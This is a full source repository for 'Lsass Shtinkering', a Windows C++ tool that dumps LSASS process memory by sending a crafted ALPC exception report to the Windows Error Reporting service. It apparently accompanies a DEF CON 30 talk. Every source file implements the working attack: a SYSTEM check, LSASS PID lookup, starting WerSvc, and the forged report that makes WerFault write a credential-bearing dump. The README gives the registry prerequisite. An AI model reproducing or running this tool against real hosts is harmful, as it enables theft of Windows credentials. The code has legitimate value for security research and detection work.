Full Code of deepinstinct/Lsass-Shtinkering for AI

Repository: deepinstinct/Lsass-Shtinkering
Branch: main
Commit: 7abfb54b9632
Files: 13
Total size: 31.5 KB

Directory structure:
gitextract_6si7ns8m/

├── .gitignore
├── LSASS_Shtinkering/
│   ├── LSASS_Shtinkering.vcxproj
│   ├── LSASS_Shtinkering.vcxproj.filters
│   ├── LSASS_Shtinkering.vcxproj.user
│   ├── Lsass_Shtinkering.cpp
│   ├── Lsass_Shtinkering.h
│   ├── Utils.cpp
│   ├── Utils.h
│   ├── WerReportException.cpp
│   ├── WerReportException.h
│   └── ntddk.h
├── LSASS_Shtinkering.sln
└── README.md

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
.vs/LSASS_Shtinkering/

Debug/

Release/

x64/

LSASS_Shtinkering/Debug/

LSASS_Shtinkering/Release/

LSASS_Shtinkering/x64/

================================================
FILE: LSASS_Shtinkering/LSASS_Shtinkering.vcxproj
================================================
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FILE: LSASS_Shtinkering/LSASS_Shtinkering.vcxproj.filters
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FILE: LSASS_Shtinkering/LSASS_Shtinkering.vcxproj.user
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================================================
FILE: LSASS_Shtinkering/Lsass_Shtinkering.cpp
================================================
#include "Lsass_Shtinkering.h"

int main(int argc, char* argv[])
{

	DWORD processPid;
	HANDLE processHandle;

	try
	{
		if (IsLocalSystem())
			wcout << L"process runs as NT AUTHORITY\\SYSTEM" << endl;
		else
		{
			wcout << L"process must run as NT AUTHORITY\\SYSTEM to dump lsass memory" << endl;
			return 0;
		}
		processPid = GetLsassPid();
		processHandle = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION, TRUE, processPid);

		wcout << L"[*] Reporting exception on LSASS PID: 0x" << std::hex << processPid << endl;
		ReportExceptionToWer(processPid, processHandle);
		wcout << L"[V] Exception reported successfully!" << endl;
		PrintCrashDampLocation();
	}
	catch (std::exception& exception)
	{
		wcout << L"[X] Error: " << exception.what() << endl;
	}
	
}


================================================
FILE: LSASS_Shtinkering/Lsass_Shtinkering.h
================================================
#pragma once
#include "WerReportException.h"


================================================
FILE: LSASS_Shtinkering/Utils.cpp
================================================
#include "Utils.h"

DWORD GetServicePid(const wstring& ServiceName)
{
	const SC_HANDLE controlManagerHandle = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
	if (nullptr == controlManagerHandle)
		throw runtime_error("Connecting to Service Control Manager failed");

	const SC_HANDLE serviceHandle = OpenServiceW(controlManagerHandle, ServiceName.c_str(), SERVICE_QUERY_STATUS);
	CloseServiceHandle(controlManagerHandle);
	if (nullptr == serviceHandle)
		throw runtime_error("Opening service handle failed");

	SERVICE_STATUS_PROCESS procInfo;
	DWORD bytesNeeded;
	if (!QueryServiceStatusEx(serviceHandle, SC_STATUS_PROCESS_INFO, reinterpret_cast<LPBYTE>(&procInfo), sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded))
	{
		CloseServiceHandle(serviceHandle);
		throw runtime_error("Querying service status failed");
	}

	CloseServiceHandle(serviceHandle);
	return procInfo.dwProcessId;
}

DWORD GetLsassPid()
{
	return GetServicePid(L"samss");
}

BOOL IsLocalSystem()
{
	const HANDLE tokenHandle = GetCurrentProcessToken();
	DWORD tokenInformationSize = 0;
	GetTokenInformation(tokenHandle, TokenUser, nullptr, 0, &tokenInformationSize);

	// The first call should fail because the buffer pointer is null. It is made to retrieve the required size of the buffer
	if (ERROR_INSUFFICIENT_BUFFER != GetLastError())
		throw runtime_error("Getting buffer size from GetTokenInformation failed");

	// Allocate the memory required to store the info
	const auto tokenInfoBuffer = new uint8_t[tokenInformationSize];

	// Call GetTokenInformation again with a pointer to a buffer
	if (!GetTokenInformation(tokenHandle, TokenUser, tokenInfoBuffer, tokenInformationSize, &tokenInformationSize))
	{
		delete[] tokenInfoBuffer;
		throw runtime_error("Retrieving info from GetTokenInformation failed");
	}

	const auto tokenUser = reinterpret_cast<PTOKEN_USER>(tokenInfoBuffer);
	const BOOL isSystem = IsWellKnownSid(tokenUser->User.Sid, WinLocalSystemSid);
	delete[] tokenInfoBuffer;
	return isSystem;
}

DWORD GetFirstThread(const DWORD Pid)
{
	const HANDLE snapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

	if (INVALID_HANDLE_VALUE == snapshotHandle)
		throw runtime_error("Creating threads snapshot failed");

	DWORD threadId = 0;
	THREADENTRY32 threadEntry;
	threadEntry.dwSize = sizeof(THREADENTRY32);
	if (Thread32First(snapshotHandle, &threadEntry))
	{
		do {
			if (threadEntry.th32OwnerProcessID == Pid) {
				threadId = threadEntry.th32ThreadID;
			}
		} while (Thread32Next(snapshotHandle, &threadEntry));

	}

	CloseHandle(snapshotHandle);
	return threadId;
}

void PrintCrashDampLocation()
{
	DWORD bufferSize = 32767;
	std::wstring environmentVariable;
	environmentVariable.resize(bufferSize);
	bufferSize = GetEnvironmentVariableW(L"LocalAppData", &environmentVariable[0], bufferSize);
	if (!bufferSize)
		throw runtime_error("Retrieving %LocalAppData% failed");
	environmentVariable.resize(bufferSize);
	environmentVariable.append(L"\\CrashDumps");
	std::wcout << L"[*] Crash dumps directory: " << environmentVariable << endl;
}

================================================
FILE: LSASS_Shtinkering/Utils.h
================================================
#pragma once
#include <string>
#include <stdexcept>
#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>

using std::endl;
using std::wcout;
using std::string;
using std::wstring;
using std::runtime_error;

DWORD GetLsassPid();
BOOL IsLocalSystem();
DWORD GetFirstThread(DWORD Pid);
void PrintCrashDampLocation();

================================================
FILE: LSASS_Shtinkering/WerReportException.cpp
================================================
#include "WerReportException.h"

NTSTATUS SignalStartWerSvc()
{
	NTSTATUS ntstatus = STATUS_UNSUCCESSFUL;
	HMODULE ntdllHandle = GetModuleHandle(L"ntdll.dll");
	const auto NtUpdateWnfStateData = reinterpret_cast<NtUpdateWnfStateData_func>(GetProcAddress(ntdllHandle, "NtUpdateWnfStateData"));

	if (NtUpdateWnfStateData)
	{
		__int64 werWnfStateName = 0x41940B3AA3BC0875; // WNF_WER_SERVICE_START
		wcout << L"        [-] NtUpdateWnfStateData() for WNF_WER_SERVICE_START" << endl;
		ntstatus = NtUpdateWnfStateData(&werWnfStateName, nullptr, 0, nullptr, nullptr, 0, 0);
	}
	else
	{
		// Alternative to WNF (before Win8 for example)
		const auto EtwEventWriteNoRegistration = reinterpret_cast<EtwEventWriteNoRegistration_func>(GetProcAddress(ntdllHandle, "EtwEventWriteNoRegistration"));
		if (nullptr == EtwEventWriteNoRegistration)
			return ntstatus;

		constexpr GUID feedbackServiceTriggerProviderGuid = { 0xe46eead8, 0xc54, 0x4489, {0x98, 0x98, 0x8f, 0xa7, 0x9d, 0x5, 0x9e, 0xe} };
		EVENT_DESCRIPTOR eventDescriptor;
		RtlZeroMemory(&eventDescriptor, sizeof(EVENT_DESCRIPTOR));

		wcout << L"        [-] EtwEventWriteNoRegistration() for {E46EEAD8-0C54-4489-9898-8FA79D059E0E}" << endl;

		ntstatus = EtwEventWriteNoRegistration(&feedbackServiceTriggerProviderGuid, &eventDescriptor, 0, nullptr);
	}

	return ntstatus;
}

NTSTATUS WaitForWerSvc()
{
	constexpr auto name = L"\\KernelObjects\\SystemErrorPortReady";
	UNICODE_STRING objectName;
	objectName.Buffer = const_cast<PWSTR>(name);
	objectName.Length = 0x46;
	objectName.MaximumLength = 0x48;

	OBJECT_ATTRIBUTES objectAttributes;
	objectAttributes.ObjectName = &objectName;
	objectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
	objectAttributes.RootDirectory = nullptr;
	objectAttributes.Attributes = 0;
	objectAttributes.SecurityDescriptor = nullptr;
	objectAttributes.SecurityQualityOfService = nullptr;

	wcout << L"        [-] NtOpenEvent() for \"\\KernelObjects\\SystemErrorPortReady\"" << endl;

	HANDLE hEvent;
	NTSTATUS ntstatus = NtOpenEvent(&hEvent, EVENT_QUERY_STATE | SYNCHRONIZE, &objectAttributes);
	
	if (!NT_SUCCESS(ntstatus))
		throw runtime_error("WaitForWerSvc()->NtOpenEvent() failed");

	wcout << L"        [-] NtWaitForSingleObject() for hEvent" << endl;

	ntstatus = NtWaitForSingleObject(hEvent, FALSE, nullptr);
	NtClose(hEvent);
	return ntstatus;
}

NTSTATUS SendMessageToWerService(ReportExceptionWerAlpcMessage* SendingMessage, ReportExceptionWerAlpcMessage* ReceivingMessage)
{
	wcout << L"    [-] SignalStartWerSvc()" << endl;
	NTSTATUS ntstatus = SignalStartWerSvc();
	wcout << L"        [-] NTSTATUS: 0x" << ntstatus << endl;
	if (!NT_SUCCESS(ntstatus))
		throw runtime_error("Signaling WER to start failed");

	wcout << L"    [-] WaitForWerSvc()" << endl;
	ntstatus = WaitForWerSvc();
	wcout << L"        [-] NTSTATUS: 0x" << ntstatus << endl;
	
	if (!NT_SUCCESS(ntstatus))
		throw runtime_error("Waiting for WER to start failed");

	

	HMODULE ntdllHandle = GetModuleHandle(L"ntdll.dll");
	auto ZwAlpcConnectPort = reinterpret_cast<NtAlpcConnectPort_func>(GetProcAddress(ntdllHandle, "ZwAlpcConnectPort"));
	auto NtAlpcSendWaitReceivePort = reinterpret_cast<NtAlpcSendWaitReceivePort_func>(GetProcAddress(ntdllHandle, "NtAlpcSendWaitReceivePort"));

	UNICODE_STRING alpcWerPortString;
	RtlInitUnicodeString(&alpcWerPortString, L"\\WindowsErrorReportingServicePort");

	HANDLE portHandle;
	OBJECT_ATTRIBUTES objectAttributes;
	ALPC_PORT_ATTRIBUTES portAttributes;
	PORT_MESSAGE connectionMessage;

	objectAttributes.Length = sizeof(objectAttributes);
	objectAttributes.RootDirectory = nullptr;
	objectAttributes.Attributes = 0;
	objectAttributes.ObjectName = nullptr;
	objectAttributes.SecurityDescriptor = nullptr;
	objectAttributes.SecurityQualityOfService = nullptr;

	memset(&portAttributes, 0, sizeof(portAttributes));
	portAttributes.MaxMessageLength = sizeof(ReportExceptionWerAlpcMessage);

	ntstatus = ZwAlpcConnectPort(&portHandle, &alpcWerPortString, &objectAttributes, &portAttributes, ALPC_MSGFLG_SYNC_REQUEST, nullptr, nullptr, nullptr, nullptr, nullptr, nullptr);
	wcout << L"    [-] ZwAlpcConnectPort() for \"\\WindowsErrorReportingServicePort\" NTSTATUS: 0x" << ntstatus << endl;
	if (!NT_SUCCESS(ntstatus))
		throw runtime_error("ZwAlpcConnectPort failed");

	SIZE_T bufLength = sizeof(ReportExceptionWerAlpcMessage);
	ntstatus = NtAlpcSendWaitReceivePort(portHandle, ALPC_MSGFLG_SYNC_REQUEST, reinterpret_cast<PPORT_MESSAGE>(SendingMessage), nullptr, reinterpret_cast<PPORT_MESSAGE>(ReceivingMessage), &bufLength, nullptr, nullptr);
	NtClose(portHandle);
	std::cout << "    [-] NtAlpcSendWaitReceivePort() NTSTATUS: 0x" << std::hex << ntstatus << endl;
	std::cout << "    [-] Received message NtStatusErrorCode: 0x" << ReceivingMessage->NtStatusErrorCode << endl;

	// Check that the ntstatus from the call and in the received message indicate success
	if (NT_SUCCESS(ntstatus) && STATUS_TIMEOUT != ntstatus)
	{
		if (!NT_SUCCESS(ReceivingMessage->NtStatusErrorCode))
			throw runtime_error("ReceivingMessage->NtStatusErrorCode indicates a fail");
	}
	else
		throw runtime_error("NtAlpcSendWaitReceivePort failed");

	return ntstatus;
}

BOOL ReportExceptionToWer(DWORD ProcessPid, HANDLE ProcessHandle)
{
	// Create exception details
	EXCEPTION_RECORD exceptionRecord = {};
	_EXCEPTION_POINTERS exceptionPointers = {};
	CONTEXT context = {};
	exceptionRecord.ExceptionCode = STATUS_UNSUCCESSFUL;
	exceptionPointers.ExceptionRecord = &exceptionRecord;
	exceptionPointers.ContextRecord = &context;

	// Create hRecoveryEVent & hCompletionEvent
	_SECURITY_ATTRIBUTES eventAttributes = { sizeof(_SECURITY_ATTRIBUTES) , nullptr, TRUE };

	HANDLE hRecoveryEvent = CreateEventW(&eventAttributes, TRUE, 0, nullptr);
	HANDLE hCompletionEvent = CreateEventW(&eventAttributes, TRUE, 0, nullptr);

	// Create the file mapping
	const HANDLE hFileMapping = CreateFileMappingW(GetCurrentProcess(), &eventAttributes, PAGE_READWRITE, 0, sizeof(MappedViewStruct), nullptr);
	HANDLE mappedView = MapViewOfFile(hFileMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);

	// Prepare the MappedViewStruct
	MappedViewStruct mps = {};
	mps.Size = sizeof(MappedViewStruct);
	mps.ExceptionPointers = &exceptionPointers;
	mps.hCompletionEvent = hCompletionEvent;
	mps.hRecoveryEvent = hRecoveryEvent;
	mps.NtErrorCode = E_FAIL;
	mps.NtStatusErrorCode = STATUS_UNSUCCESSFUL;
	mps.TickCount = GetTickCount();
	mps.TargetProcessPid = ProcessPid;
	mps.hTargetProcess = ProcessHandle;
	mps.TargetThreadTid = GetFirstThread(ProcessPid);
	mps.hTargetThread = OpenThread(THREAD_QUERY_LIMITED_INFORMATION, TRUE, mps.TargetThreadTid);

	// Print MappedViewStruct members
	wcout << L"[*] MappedViewStruct:" << endl;
	wcout << L"    [-] Size: 0x"              << mps.Size              << endl;
	wcout << L"    [-] ExceptionPointers: 0x" << mps.ExceptionPointers << endl;
	wcout << L"    [-] hCompletionEvent: 0x"  << mps.hCompletionEvent  << endl;
	wcout << L"    [-] hRecoveryEvent: 0x"    << mps.hRecoveryEvent    << endl;
	wcout << L"    [-] NtErrorCode: 0x"       << mps.NtErrorCode       << endl;
	wcout << L"    [-] NtStatusErrorCode: 0x" << mps.NtStatusErrorCode << endl;
	wcout << L"    [-] TickCount: 0x"         << mps.TickCount         << endl;
	wcout << L"    [-] TargetProcessPID: 0x"  << mps.TargetProcessPid  << endl;
	wcout << L"    [-] hTargetProcess: 0x"    << mps.hTargetProcess    << endl;
	wcout << L"    [-] TargetThreadTID: 0x"   << mps.TargetThreadTid   << endl;
	wcout << L"    [-] hTargetThread: 0x"     << mps.hTargetThread     << endl;

	// Prepare the ALPC request
	ReportExceptionWerAlpcMessage sendingMessage = {};
	sendingMessage.PortMessage.u1.s1.TotalLength = sizeof(ReportExceptionWerAlpcMessage);
	sendingMessage.PortMessage.u1.s1.DataLength = sizeof(ReportExceptionWerAlpcMessage) - sizeof(PORT_MESSAGE);
	sendingMessage.MessageType = WerSvcMessageId::RequestReportUnhandledException;
	sendingMessage.Flags = 0;
	sendingMessage.hFileMapping = hFileMapping;
	sendingMessage.hCompletionEvent = hCompletionEvent;
	sendingMessage.hRecoveryEvent = hRecoveryEvent;
	sendingMessage.hFileMapping2 = hFileMapping;
	sendingMessage.hTargetProcess = mps.hTargetProcess;
	sendingMessage.hTargetThread = mps.hTargetThread;
	sendingMessage.TargetProcessId = mps.TargetProcessPid;

	// Prepare the ALPC response
	ReportExceptionWerAlpcMessage receivingMessage = {};
	receivingMessage.PortMessage.u1.s1.TotalLength = sizeof(ReportExceptionWerAlpcMessage);
	receivingMessage.PortMessage.u1.s1.DataLength = sizeof(ReportExceptionWerAlpcMessage) - sizeof(PORT_MESSAGE);

	// Copy the struct into the mapped view
	RtlCopyMemory(mappedView, &mps, sizeof(mps));

	wcout << L"[*] SendMessageToWerService()" << endl;

	// Send the request and get the response from the ALPC server
	NTSTATUS werNtstatus = SendMessageToWerService(&sendingMessage, &receivingMessage);

	CloseHandle(mappedView);
	CloseHandle(hFileMapping);
	CloseHandle(hCompletionEvent);
	CloseHandle(hRecoveryEvent);

	// Did we fail to send the ALPC message?
	if (STATUS_SUCCESS != werNtstatus)
		throw runtime_error("SendMessageToWERService failed");

	// Did the operation not succeed on WerSvc side?
	if (STATUS_SUCCESS != receivingMessage.NtStatusErrorCode)
	{
		std::stringstream messageStream;
		messageStream << "receivingMessage.NtStatusErrorCode is 0x";
		messageStream << std::hex << to_string(receivingMessage.NtStatusErrorCode);
		string errorMessage = messageStream.str();
		throw runtime_error(errorMessage.c_str());
	}

	// Check if message type indicates failure
	if (WerSvcMessageId::ReplyReportUnhandledExceptionFailure != receivingMessage.MessageType)
	{
		std::stringstream messageStream;
		messageStream << "receivingMessage.MessageType is 0x";
		messageStream << std::hex << to_string(receivingMessage.NtStatusErrorCode);
		string errorMessage = messageStream.str();
		throw runtime_error(errorMessage.c_str());
		
	}

	// The reply consists of a handle to the spawned WerFault.exe process
	auto werFaultProcessHandle = reinterpret_cast<HANDLE>(receivingMessage.Flags);

	wcout << L"[*] Waiting for WerFault.exe to exit..." << endl;

	// Wait for WeFault to exit
	while (TRUE)
	{
		NTSTATUS ntstatus = NtWaitForSingleObject(werFaultProcessHandle, TRUE, nullptr);

		// Was there was either a timeout or a failure
		if (STATUS_TIMEOUT == ntstatus || ntstatus < 0)
			break;

		// If there wasn't a failure,
		// did we return because of an APC or because the wait was aborted?
		if (STATUS_USER_APC != ntstatus && STATUS_ALERTED != ntstatus)
		{
			ntstatus = STATUS_SUCCESS;
			break;
		}

	}
	return TRUE;
}

================================================
FILE: LSASS_Shtinkering/WerReportException.h
================================================
#pragma once
#include "Utils.h"
#include "ntddk.h"
#include <sstream>
#include <ntstatus.h>

using std::to_string;
using std::to_wstring;

BOOL ReportExceptionToWer(DWORD ProcessPid, HANDLE ProcessHandle);

================================================
FILE: LSASS_Shtinkering/ntddk.h
================================================
#ifndef __NTDLL_H__
#define __NTDLL_H__

#ifdef __cplusplus
extern "C" {
#endif
#include <Windows.h>

#ifndef _NTDLL_SELF_                            // Auto-insert the library
#pragma comment(lib, "Ntdll.lib")
#endif

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define EVENT_QUERY_STATE 0x0001
#define ALPC_MSGFLG_SYNC_REQUEST 0x20000

typedef short CSHORT;
typedef struct _QUAD
{
	union
	{
		INT64 UseThisFieldToCopy;
		float DoNotUseThisField;
	};
} QUAD, * PQUAD;

typedef struct _CLIENT_ID
{
	HANDLE UniqueProcess;
	HANDLE UniqueThread;

} CLIENT_ID, * PCLIENT_ID;

typedef struct PORT_MESSAGE
{
	union
	{
		struct
		{
			CSHORT DataLength;
			CSHORT TotalLength;
		} s1;
		ULONG Length;
	} u1;
	union
	{
		struct
		{
			CSHORT Type;
			CSHORT DataInfoOffset;
		} s2;
		ULONG ZeroInit;
	} u2;
	union
	{
		CLIENT_ID ClientId;
		QUAD DoNotUseThisField;
	};
	ULONG MessageId;
	union
	{
		SIZE_T ClientViewSize;
		ULONG CallbackId;
	};
} PORT_MESSAGE, * PPORT_MESSAGE;

struct ReportExceptionWerAlpcMessage
{
	PORT_MESSAGE PortMessage;
	DWORD MessageType;
	NTSTATUS NtStatusErrorCode;
	DWORD Flags;
	DWORD TargetProcessId;
	HANDLE hFileMapping;
#ifndef _WIN64
	DWORD Filler0;
#endif
	HANDLE hRecoveryEvent;
#ifndef _WIN64
	DWORD Filler1;
#endif
	HANDLE hCompletionEvent;
#ifndef _WIN64
	DWORD Filler2;
#endif
	HANDLE hFileMapping2;
#ifndef _WIN64
	DWORD Filler3;
#endif
	HANDLE hTargetProcess;
#ifndef _WIN64
	DWORD Filler4;
#endif
	HANDLE hTargetThread;
#ifndef _WIN64
	DWORD Filler5;
#endif
	DWORD Filler6[324];
};

struct MappedViewStruct
{
	DWORD Size;
	DWORD TargetProcessPid;
	DWORD TargetThreadTid;
	DWORD Filler0[39];
	_EXCEPTION_POINTERS* ExceptionPointers;
#ifndef _WIN64
	DWORD Filler1;
#endif
	DWORD NtErrorCode;
	DWORD Filler2;
	HANDLE hTargetProcess;
#ifndef _WIN64
	DWORD Filler3;
#endif
	HANDLE hTargetThread;
#ifndef _WIN64
	DWORD Filler4;
#endif
	HANDLE hRecoveryEvent;
#ifndef _WIN64
	DWORD Filler5;
#endif
	HANDLE hCompletionEvent;
#ifndef _WIN64
	DWORD Filler6;
#endif
	DWORD Filler7;
	DWORD Filler8;
	DWORD Null01;
	DWORD Null02;
	DWORD NtStatusErrorCode;
	DWORD Null03;
	DWORD TickCount;
	DWORD Unk101;
};

typedef struct _WNF_TYPE_ID {
	GUID	TypeId;
} WNF_TYPE_ID, * PWNF_TYPE_ID;
typedef const WNF_TYPE_ID* PCWNF_TYPE_ID;
typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP;
typedef ULONG LOGICAL;
typedef ULONG* PLOGICAL;

typedef struct _UNICODE_STRING
{
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;

} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES
{
	ULONG Length;
	HANDLE RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG Attributes;
	PVOID SecurityDescriptor;
	PVOID SecurityQualityOfService;

} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _ALPC_PORT_ATTRIBUTES
{
	ULONG Flags;
	SECURITY_QUALITY_OF_SERVICE SecurityQos;
	SIZE_T MaxMessageLength;
	SIZE_T MemoryBandwidth;
	SIZE_T MaxPoolUsage;
	SIZE_T MaxSectionSize;
	SIZE_T MaxViewSize;
	SIZE_T MaxTotalSectionSize;
	ULONG DupObjectTypes;
#ifdef _WIN64
	ULONG Reserved;
#endif
} ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;

typedef struct _ALPC_MESSAGE_ATTRIBUTES
{
	ULONG AllocatedAttributes;
	ULONG ValidAttributes;
} ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES;

enum WerSvcMessageId
{
	RequestReportUnhandledException = 0x20000000,
	ReplyReportUnhandledExceptionSuccess = 0x20000001,
	ReplyReportUnhandledExceptionFailure = 0x20000002,
	RequestSilentProcessExit = 0x30000000,
	ResponseSilentProcessExitSuccess = 0x30000001,
	ResponseSilentProcessExitFailure = 0x30000002
};

NTSYSAPI
NTSTATUS
NTAPI
NtOpenEvent(
	OUT PHANDLE EventHandle,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_ATTRIBUTES ObjectAttributes
);

NTSYSAPI
NTSTATUS
NTAPI
NtWaitForSingleObject(
	IN HANDLE Handle,
	IN BOOLEAN Alertable,
	IN PLARGE_INTEGER Timeout OPTIONAL
);

NTSYSAPI
NTSTATUS
NTAPI
NtClose(
	IN  HANDLE Handle
);

NTSYSAPI
VOID
NTAPI
RtlInitUnicodeString(
	PUNICODE_STRING DestinationString,
	PCWSTR SourceString
);

typedef NTSTATUS
(NTAPI* NtUpdateWnfStateData_func)(
	_In_ PVOID StateName,
	_In_reads_bytes_opt_(Length) const VOID* Buffer,
	_In_opt_ ULONG Length,
	_In_opt_ PCWNF_TYPE_ID TypeId,
	_In_opt_ const VOID* ExplicitScope,
	_In_ WNF_CHANGE_STAMP MatchingChangeStamp,
	_In_ LOGICAL CheckStamp);

#include <evntcons.h>
typedef ULONG(__stdcall* EtwEventWriteNoRegistration_func)(
	_In_ LPCGUID ProviderId,
	_In_ PCEVENT_DESCRIPTOR EventDescriptor,
	_In_ ULONG UserDataCount,
	_In_reads_opt_(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData
	);

typedef LONG(WINAPI* NtAlpcSendWaitReceivePort_func)(
	_In_ HANDLE 	PortHandle,
	_In_ ULONG 	Flags,
	_In_reads_bytes_opt_(SendingMessage->u1.s1.TotalLength) PPORT_MESSAGE 	SendingMessage,
	_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES 	SendingMessageMessageAttributes,
	PPORT_MESSAGE 	ReceiveMessage,
	_Inout_opt_ PSIZE_T 	BufferLength,
	_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES 	ReceiveMessageAttributes,
	_In_opt_ PLARGE_INTEGER 	Timeout);

typedef LONG(WINAPI* NtAlpcConnectPort_func)(
	_Out_ PHANDLE 	PortHandle,
	_In_ PUNICODE_STRING 	PortName,
	_In_opt_ POBJECT_ATTRIBUTES 	ObjectAttributes,
	_In_opt_ PALPC_PORT_ATTRIBUTES 	PortAttributes,
	_In_ ULONG 	Flags,
	_In_opt_ PSID 	RequiredServerSid,
	_Inout_ PPORT_MESSAGE 	ConnectionMessage,
	_Inout_opt_ PULONG 	BufferLength,
	_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES 	OutMessageAttributes,
	_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES 	InMessageAttributes,
	_In_opt_ PLARGE_INTEGER 	Timeout);

#ifdef __cplusplus
} // extern "C"
#endif

#endif // __NTDLL_H__

================================================
FILE: LSASS_Shtinkering.sln
================================================

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.32407.337
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LSASS_Shtinkering", "LSASS_Shtinkering\LSASS_Shtinkering.vcxproj", "{476FC126-239F-4D58-8389-E1C0E93C2C5E}"
EndProject
Global
	GlobalSection(SolutionConfigurationPlatforms) = preSolution
		Debug|x64 = Debug|x64
		Debug|x86 = Debug|x86
		Release|x64 = Release|x64
		Release|x86 = Release|x86
	EndGlobalSection
	GlobalSection(ProjectConfigurationPlatforms) = postSolution
		{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Debug|x64.ActiveCfg = Debug|x64
		{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Debug|x64.Build.0 = Debug|x64
		{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Debug|x86.ActiveCfg = Debug|Win32
		{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Debug|x86.Build.0 = Debug|Win32
		{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Release|x64.ActiveCfg = Release|x64
		{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Release|x64.Build.0 = Release|x64
		{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Release|x86.ActiveCfg = Release|Win32
		{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Release|x86.Build.0 = Release|Win32
	EndGlobalSection
	GlobalSection(SolutionProperties) = preSolution
		HideSolutionNode = FALSE
	EndGlobalSection
	GlobalSection(ExtensibilityGlobals) = postSolution
		SolutionGuid = {7CDF1F4C-173E-42D6-AC24-6C2F9795B327}
	EndGlobalSection
EndGlobal


================================================
FILE: README.md
================================================
# Lsass Shtinkering
New method of dumping LSASS by abusing the Windows Error Reporting service.
It sends a message to the service with the ALPC protocol to report an exception on LSASS.
This report will cause the service to dump the memory of LSASS.

## Prerequisites
The registry value "DumpType" under "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" should be set to 2.

## Credits

* [Asaf Gilboa](https://twitter.com/asaf_gilboa)

## References
- https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf